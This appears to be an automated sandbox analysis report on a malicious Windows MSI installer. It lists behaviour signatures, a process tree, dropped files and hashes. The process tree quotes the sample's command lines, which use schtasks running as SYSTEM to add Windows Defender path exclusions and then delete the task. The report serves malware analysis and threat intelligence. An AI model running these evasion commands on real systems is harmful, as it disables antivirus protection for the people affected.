Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    30/07/2026, 06:38

General

  • Target
    install_30v8005.msi
  • Size 7.7MB
  • Sample260730-hebb5sel5x
  • SHA256 46c58a119174ffbed8087265c1811ba0d637f36de754dbf13b4e53ff51679cf2
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Badlisted process makes network request 10 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: Clear Persistence 1 TTPs 2 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 5 IoCs
  • Drops file in Windows directory 9 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 22 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 60 IoCs
  • Suspicious behavior: LoadsDriver 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\install_30v8005.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:4072
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4816
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2052
    • C:\Windows\System32\MsiExec.exe
      C:\Windows\System32\MsiExec.exe -Embedding 5FB500F80E1898C5CB9AFCDFE071C460 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Badlisted process makes network request
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      PID:2764
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious use of AdjustPrivilegeToken
    PID:2688
  • C:\Users\Public\F5bHeU\gvRH9j.exe
    C:\Users\Public\F5bHeU\gvRH9j.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:4348
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\F5bHeU\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      PID:648
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\F5bHeU\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2992
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:3408
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:2680
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          PID:372
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2308
      • C:\Windows\system32\cmd.exe
        cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\F5bHeU" /t REG_DWORD /d 0 /f
        1⤵
        • Executes a command shell one-liner
        PID:4968
        • C:\Windows\system32\reg.exe
          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\F5bHeU" /t REG_DWORD /d 0 /f
          2⤵
            PID:3092
        • C:\Windows\system32\cmd.exe
          cmd.exe
          1⤵
            PID:4264

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

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                Downloads

                e589f2a.rbs

                • Path C:\Config.Msi\e589f2a.rbs
                • Size 7KB
                • SHA256 bb68eb917b89fd9744bbc910b4d5b114ddd862aaa3100ad5d2c6b2161ee4c377
                • MD5 SHA1 SHA512 SSDEEP TLSH

                UxEnhance64.dll

                • Path C:\Users\Public\F5bHeU\UxEnhance64.dll
                • Size 3.1MB
                • SHA256 4aba610fd035e48fcc237a65684695e03ee2d83c20748c91d19bf46b1a635186
                • MD5 SHA1 SHA512 SSDEEP TLSH

                adoresd.dat

                • Path C:\Users\Public\F5bHeU\adoresd.dat
                • Size 4.8MB
                • SHA256 1bc4511074a0b24c903a77f9fb924237b91511c3b4297d13e93f45de9ae22587
                • MD5 SHA1 SHA512 SSDEEP TLSH

                gvRH9j.exe

                • Path C:\Users\Public\F5bHeU\gvRH9j.exe
                • Size 135KB
                • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                • MD5 SHA1 SHA512 SSDEEP TLSH

                msadox.tb

                • Path C:\Users\Public\F5bHeU\msadox.tb
                • Size 8KB
                • SHA256 56ac43503ba775118897fe6218ecff3a7bc83516dfcd95ee5afb369abf5a3dfb
                • MD5 SHA1 SHA512 SSDEEP TLSH

                MSIA0C0.tmp

                • Path C:\Windows\Installer\MSIA0C0.tmp
                • Size 7.7MB
                • SHA256 548be4f8ddff78dd8f6cc3efedf375adafc431a7ba27e47ce6f03a7e77e61bd1
                • MD5 SHA1 SHA512 SSDEEP TLSH

                e589f29.msi

                • Path C:\Windows\Installer\e589f29.msi
                • Size 7.7MB
                • SHA256 46c58a119174ffbed8087265c1811ba0d637f36de754dbf13b4e53ff51679cf2
                • MD5 SHA1 SHA512 SSDEEP TLSH

                metadata-2

                • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
                • Size 24.1MB
                • SHA256 c65957ba59bd66cbf88c44137d75a63418e18298df6adf40295edb523acf559d
                • MD5 SHA1 SHA512 SSDEEP TLSH

                {3fd0d1fc-f95f-4e89-ad9d-3de93c7b7ff4}_OnDiskSnapshotProp

                • Path \??\Volume{d78106ee-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{3fd0d1fc-f95f-4e89-ad9d-3de93c7b7ff4}_OnDiskSnapshotProp
                • Size 6KB
                • SHA256 d7bc1b8353761a89b3dca575726352e3594079c07a94743f64593cded792e450
                • MD5 SHA1 SHA512 SSDEEP TLSH

                memory/2764-13-0x00007FFF443C0000-0x00007FFF44A19000-memory.dmp

                memory/2764-39-0x00007FFF53FA0000-0x00007FFF53FB0000-memory.dmp

                memory/2764-16-0x00007FFF53FA0000-0x00007FFF53FB0000-memory.dmp

                memory/2764-12-0x00007FFF62670000-0x00007FFF62672000-memory.dmp

                memory/4348-62-0x0000021E20150000-0x0000021E20A0E000-memory.dmp

                memory/4348-73-0x0000021E20150000-0x0000021E20A0E000-memory.dmp

                memory/4348-59-0x0000021E20150000-0x0000021E20A0E000-memory.dmp

                memory/4348-61-0x00007FFF62680000-0x00007FFF62682000-memory.dmp

                memory/4348-53-0x00007FFF62670000-0x00007FFF62672000-memory.dmp

                memory/4348-66-0x0000021E20150000-0x0000021E20A0E000-memory.dmp

                memory/4348-67-0x0000021E20150000-0x0000021E20A0E000-memory.dmp

                memory/4348-68-0x0000021E20150000-0x0000021E20A0E000-memory.dmp

                memory/4348-69-0x0000021E20150000-0x0000021E20A0E000-memory.dmp

                memory/4348-54-0x00007FFF42BC0000-0x00007FFF430DE000-memory.dmp

                memory/4348-81-0x0000021E20EF0000-0x0000021E20F7A000-memory.dmp

                memory/4348-82-0x0000021E20EF0000-0x0000021E20F7A000-memory.dmp

                memory/4348-80-0x0000021E20EF0000-0x0000021E20F7A000-memory.dmp

                memory/4348-79-0x0000021E20EF0000-0x0000021E20F7A000-memory.dmp

                memory/4348-78-0x0000021E20A50000-0x0000021E20A9E000-memory.dmp

                memory/4348-87-0x0000021E20150000-0x0000021E20A0E000-memory.dmp

                memory/4348-88-0x0000021E20150000-0x0000021E20A0E000-memory.dmp